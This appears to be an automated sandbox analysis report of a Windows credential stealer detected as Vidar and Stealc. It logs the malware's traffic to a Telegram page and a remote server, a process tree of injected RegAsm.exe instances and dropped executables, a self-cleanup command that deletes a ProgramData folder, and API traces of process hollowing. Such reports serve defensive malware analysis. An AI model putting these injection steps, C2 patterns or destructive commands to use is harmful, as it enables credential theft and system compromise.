2024-09-30 10:23:07 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-30 10:23:07 UTC	774	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:23:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=82iupios563cmc55n92qu7uonl; expires=Fri, 24 Jan 2025 04:09:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2F%2FeYVu7BDbOhrXpgn0EXgZvOedfFDuJjSe02PAqnc%2FKrliECKuoEw5eB0WmvcBGy1TJ9VVRti%2B1tmAav%2F7iUGIbj1oll1ViiPFppc6pbwckesD7mjxqsmEnd2Ot5meeQul1zAg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cb37ee6ea759e1a-EWR
2024-09-30 10:23:07 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-30 10:23:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	52552	149.154.167.99	443	8060	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 10:23:13 UTC	146	OUT	GET /jamsemlg HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache Cookie: stel_ssid=0cc506041bab305345_15129518936506012804
2024-09-30 10:23:13 UTC	369	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 30 Sep 2024 10:23:13 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12382 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-09-30 10:23:13 UTC	12382	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6a 61 6d 73 65 6d 6c 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @jamsemlg</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.pare

Target ID:	0
Start time:	06:21:57
Start date:	30/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x470000
File size:	414'248 bytes
MD5 hash:	239144713534AECB31E32CAE4AFB4645
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1675055595.00000000038E5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.1675055595.00000000038E5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:21:57
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:21:58
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x5f0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:21:58
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x7a0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:22:44
Start date:	30/09/2024
Path:	C:\ProgramData\IDGDAAKFHI.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\IDGDAAKFHI.exe"
Imagebase:	0x5f0000
File size:	380'456 bytes
MD5 hash:	32C2E31313C3DF4A7A36C72503A5BEBA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:22:44
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:22:44
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x750000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:22:45
Start date:	30/09/2024
Path:	C:\ProgramData\DGHIECGCBK.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\DGHIECGCBK.exe"
Imagebase:	0xeb0000
File size:	414'248 bytes
MD5 hash:	38DABC7063C0A175A12C30BD44CF3DBC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000000A.00000002.2161789576.00000000042BE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:22:45
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:22:46
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x510000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:22:46
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xc0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:22:46
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xf00000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:22:47
Start date:	30/09/2024
Path:	C:\ProgramData\KECFIDGCBF.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\KECFIDGCBF.exe"
Imagebase:	0x340000
File size:	334'376 bytes
MD5 hash:	2832FBDE1CF7EA83BD6FD6A4A5E8FE15
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000002.2171273173.0000000003715000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:22:47
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	06:22:47
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x190000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:22:47
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xb40000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000002.2633856552.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000012.00000002.2638069284.000000000122A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	06:22:49
Start date:	30/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\FBFIDBFHDBGI" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	06:22:49
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:22:50
Start date:	30/09/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0x380000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	06:23:00
Start date:	30/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBGDBKKFHIE.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:23:00
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:23:00
Start date:	30/09/2024
Path:	C:\Users\userBGDBKKFHIE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userBGDBKKFHIE.exe"
Imagebase:	0x400000
File size:	414'248 bytes
MD5 hash:	38DABC7063C0A175A12C30BD44CF3DBC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:23:01
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:23:01
Start date:	30/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBAEBGCFIEH.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:23:02
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:23:02
Start date:	30/09/2024
Path:	C:\Users\userBAEBGCFIEH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userBAEBGCFIEH.exe"
Imagebase:	0xb60000
File size:	380'456 bytes
MD5 hash:	32C2E31313C3DF4A7A36C72503A5BEBA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	06:23:02
Start date:	30/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	06:23:02
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xe80000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000001E.00000002.2393764076.000000000043A000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	06:23:03
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xb20000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	30.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	36.4%
Total number of Nodes:	22
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 028E212D Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,028E209F,028E208F), ref: 028E229C
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 028E22AF
Wow64GetThreadContext.KERNEL32(00000304,00000000), ref: 028E22CD
ReadProcessMemory.KERNELBASE(00000094,?,028E20E3,00000004,00000000), ref: 028E22F1
VirtualAllocEx.KERNELBASE(00000094,?,?,00003000,00000040), ref: 028E231C
TerminateProcess.KERNELBASE(00000094,00000000), ref: 028E233B
WriteProcessMemory.KERNELBASE(00000094,00000000,?,?,00000000,?), ref: 028E2374
WriteProcessMemory.KERNELBASE(00000094,00400000,?,?,00000000,?,00000028), ref: 028E23BF
WriteProcessMemory.KERNELBASE(00000094,?,?,00000004,00000000), ref: 028E23FD
Wow64SetThreadContext.KERNEL32(00000304,00EE0000), ref: 028E2439
ResumeThread.KERNELBASE(00000304), ref: 028E2448

Strings

aryA, xrefs: 028E2173
VirtualAlloc, xrefs: 028E21F4
ress, xrefs: 028E21B7
GetThreadContext, xrefs: 028E2207
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 028E229B
SetThreadContext, xrefs: 028E2253
VirtualAllocEx, xrefs: 028E222D
GetP, xrefs: 028E21AF
ReadProcessMemory, xrefs: 028E221A
ResumeThread, xrefs: 028E2269
CreateProcessA, xrefs: 028E21E1
TerminateProcess, xrefs: 028E232B
WriteProcessMemory, xrefs: 028E2240
Load, xrefs: 028E216B

Memory Dump Source

Source File: 00000000.00000002.1673878601.00000000028E1000.00000040.00000800.00020000.00000000.sdmp, Offset: 028E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_28e1000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-1257834847
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 70723846adab6174f56d869f2c6a8fe6ab53f573b738ad0b6dc32017cc491c4e
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: D9B1F67660024AAFDB60CF68CC80BDA73A9FF88714F158124EA0CEB345D770FA418B94

Function 00E81271 Relevance: 1.6, APIs: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 00E812F8

Memory Dump Source

Source File: 00000000.00000002.1673749955.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e80000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: bc0015af8ea0d006c6bcba63f4a8be833ea8926897ca89ef7424ce6dc4198a47
Instruction ID: 48ad299c1441c15c2217f1d5a82c95df7a9265e47a2e45872d736e9510e9dd52
Opcode Fuzzy Hash: bc0015af8ea0d006c6bcba63f4a8be833ea8926897ca89ef7424ce6dc4198a47
Instruction Fuzzy Hash: 5A2125B59002499FCB10DFA9C981ADEBFF4FF48310F108429E959A3250C7745945CFA1

Function 00E81278 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 00E812F8

Memory Dump Source

Source File: 00000000.00000002.1673749955.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e80000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6ba8965c491504e6c3e9ef945cb28236dda653321fdceec917d75785f8ab946d
Instruction ID: cbdb3e558805784e0ad3fbe7def9da62c050b6351bf72e87b64a8573b119f4db
Opcode Fuzzy Hash: 6ba8965c491504e6c3e9ef945cb28236dda653321fdceec917d75785f8ab946d
Instruction Fuzzy Hash: 062122B1900259DFCB10DFAAC981ADEFBF4FF48320F10842AE959A7250C774A944CFA1

Analysis Process: RegAsm.exePID: 7376, Parent PID: 7304COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	30

Executed Functions

Function 00418A9A Relevance: 231.5, APIs: 121, Strings: 11, Instructions: 518
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00417414), ref: 00418AAE
GetProcAddress.KERNEL32 ref: 00418AC5
GetProcAddress.KERNEL32 ref: 00418ADC
GetProcAddress.KERNEL32 ref: 00418AF3
GetProcAddress.KERNEL32 ref: 00418B0A
GetProcAddress.KERNEL32 ref: 00418B21
GetProcAddress.KERNEL32 ref: 00418B38
GetProcAddress.KERNEL32 ref: 00418B4F
GetProcAddress.KERNEL32 ref: 00418B66
GetProcAddress.KERNEL32 ref: 00418B7D
GetProcAddress.KERNEL32 ref: 00418B94
GetProcAddress.KERNEL32 ref: 00418BAB
GetProcAddress.KERNEL32 ref: 00418BC2
GetProcAddress.KERNEL32 ref: 00418BD9
GetProcAddress.KERNEL32 ref: 00418BF0
GetProcAddress.KERNEL32 ref: 00418C07
GetProcAddress.KERNEL32 ref: 00418C1E
GetProcAddress.KERNEL32 ref: 00418C35
GetProcAddress.KERNEL32 ref: 00418C4C
GetProcAddress.KERNEL32 ref: 00418C63
GetProcAddress.KERNEL32 ref: 00418C7A
GetProcAddress.KERNEL32 ref: 00418C91
GetProcAddress.KERNEL32 ref: 00418CA8
GetProcAddress.KERNEL32 ref: 00418CBF
GetProcAddress.KERNEL32 ref: 00418CD6
GetProcAddress.KERNEL32 ref: 00418CED
GetProcAddress.KERNEL32 ref: 00418D04
GetProcAddress.KERNEL32 ref: 00418D1B
GetProcAddress.KERNEL32 ref: 00418D32
GetProcAddress.KERNEL32 ref: 00418D49
GetProcAddress.KERNEL32 ref: 00418D60
GetProcAddress.KERNEL32 ref: 00418D77
GetProcAddress.KERNEL32 ref: 00418D8E
GetProcAddress.KERNEL32 ref: 00418DA5
GetProcAddress.KERNEL32 ref: 00418DBC
GetProcAddress.KERNEL32 ref: 00418DD3
GetProcAddress.KERNEL32 ref: 00418DEA
GetProcAddress.KERNEL32 ref: 00418E01
GetProcAddress.KERNEL32 ref: 00418E18
GetProcAddress.KERNEL32 ref: 00418E2F
GetProcAddress.KERNEL32 ref: 00418E46
GetProcAddress.KERNEL32 ref: 00418E5D
GetProcAddress.KERNEL32 ref: 00418E74
GetProcAddress.KERNEL32(CreateProcessA), ref: 00418E8A
GetProcAddress.KERNEL32(GetThreadContext), ref: 00418EA0
GetProcAddress.KERNEL32(ReadProcessMemory), ref: 00418EB6
GetProcAddress.KERNEL32(VirtualAllocEx), ref: 00418ECC
GetProcAddress.KERNEL32(ResumeThread), ref: 00418EE2
GetProcAddress.KERNEL32(WriteProcessMemory), ref: 00418EF8
GetProcAddress.KERNEL32(SetThreadContext), ref: 00418F0E
LoadLibraryA.KERNEL32(00417414), ref: 00418F1F
LoadLibraryA.KERNEL32 ref: 00418F30
LoadLibraryA.KERNEL32 ref: 00418F41
LoadLibraryA.KERNEL32 ref: 00418F52
LoadLibraryA.KERNEL32 ref: 00418F63
LoadLibraryA.KERNEL32 ref: 00418F74
LoadLibraryA.KERNEL32 ref: 00418F85
LoadLibraryA.KERNEL32 ref: 00418F96
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00418FA6
GetProcAddress.KERNEL32(75290000), ref: 00418FC1
GetProcAddress.KERNEL32 ref: 00418FD8
GetProcAddress.KERNEL32 ref: 00418FEF
GetProcAddress.KERNEL32 ref: 00419006
GetProcAddress.KERNEL32 ref: 0041901D
GetProcAddress.KERNEL32(6FD40000), ref: 0041903C
GetProcAddress.KERNEL32 ref: 00419053
GetProcAddress.KERNEL32 ref: 0041906A
GetProcAddress.KERNEL32 ref: 00419081
GetProcAddress.KERNEL32 ref: 00419098
GetProcAddress.KERNEL32 ref: 004190AF
GetProcAddress.KERNEL32 ref: 004190C6
GetProcAddress.KERNEL32 ref: 004190DD
GetProcAddress.KERNEL32(752C0000), ref: 004190F8
GetProcAddress.KERNEL32 ref: 0041910F
GetProcAddress.KERNEL32 ref: 00419126
GetProcAddress.KERNEL32 ref: 0041913D
GetProcAddress.KERNEL32 ref: 00419154
GetProcAddress.KERNEL32(74EC0000), ref: 00419173
GetProcAddress.KERNEL32 ref: 0041918A
GetProcAddress.KERNEL32 ref: 004191A1
GetProcAddress.KERNEL32 ref: 004191B8
GetProcAddress.KERNEL32 ref: 004191CF
GetProcAddress.KERNEL32 ref: 004191E6
GetProcAddress.KERNEL32(75BD0000), ref: 00419205
GetProcAddress.KERNEL32 ref: 0041921C
GetProcAddress.KERNEL32 ref: 00419233
GetProcAddress.KERNEL32 ref: 0041924A
GetProcAddress.KERNEL32 ref: 00419261
GetProcAddress.KERNEL32 ref: 00419278
GetProcAddress.KERNEL32 ref: 0041928F
GetProcAddress.KERNEL32 ref: 004192A6
GetProcAddress.KERNEL32 ref: 004192BD
GetProcAddress.KERNEL32(75A70000), ref: 004192D8
GetProcAddress.KERNEL32 ref: 004192EF
GetProcAddress.KERNEL32 ref: 00419306
GetProcAddress.KERNEL32 ref: 0041931D
GetProcAddress.KERNEL32 ref: 00419334
